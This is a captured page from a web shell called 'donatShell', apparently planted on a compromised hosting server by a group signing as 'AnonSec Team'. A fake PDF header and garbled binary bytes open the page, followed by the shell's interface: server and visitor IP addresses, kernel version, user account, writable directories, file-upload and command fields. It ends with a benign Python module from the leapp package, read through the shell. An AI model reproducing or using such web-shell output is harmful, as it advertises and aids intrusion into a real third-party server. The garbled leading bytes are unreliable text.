%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.205
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/leapp/workflows/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python2.7/site-packages/leapp/workflows/phaseactors.py
from leapp.exceptions import CyclingDependenciesError


class PhaseActors(object):
    def __init__(self, actors, stage):
        self.stage = stage
        self._actors = actors
        self._consumes = set()
        self._produces = set()
        self._messages = {}

        for actor in self._actors:
            self._consumes.update(actor.consumes)
            self._produces.update(actor.produces)
            for message in actor.produces:
                self._messages.setdefault(message.__name__,
                                          {'type': message, 'producers': []})['producers'].append(actor)
            for message in actor.consumes:
                self._messages.setdefault(message.__name__, {'type': message, 'producers': []})
        self._initial = self._consumes - self._produces
        self._sort()

    @property
    def initial(self):
        return tuple(self._initial)

    @property
    def actors(self):
        return tuple(self._actors)

    @property
    def consumes(self):
        return tuple(self._consumes)

    @property
    def produces(self):
        return tuple(self._produces)

    def _sort(self):
        actors, self._actors = list(self._actors), ()
        while actors:
            scheduled = []
            for idx, actor in enumerate(actors):
                for message in actor.consumes:
                    if self._messages[message.__name__]['producers']:
                        break
                else:
                    for message in actor.produces:
                        self._messages[message.__name__]['producers'].remove(actor)

                    scheduled.append(idx)
                    self._actors += (actor,)

            if not scheduled:
                raise CyclingDependenciesError(
                    "Could not solve dependency order for '{}'".format(', '.join([actor.name for actor in actors])))

            for idx in reversed(scheduled):
                actors.pop(idx)

Anon7 - 2022
AnonSec Team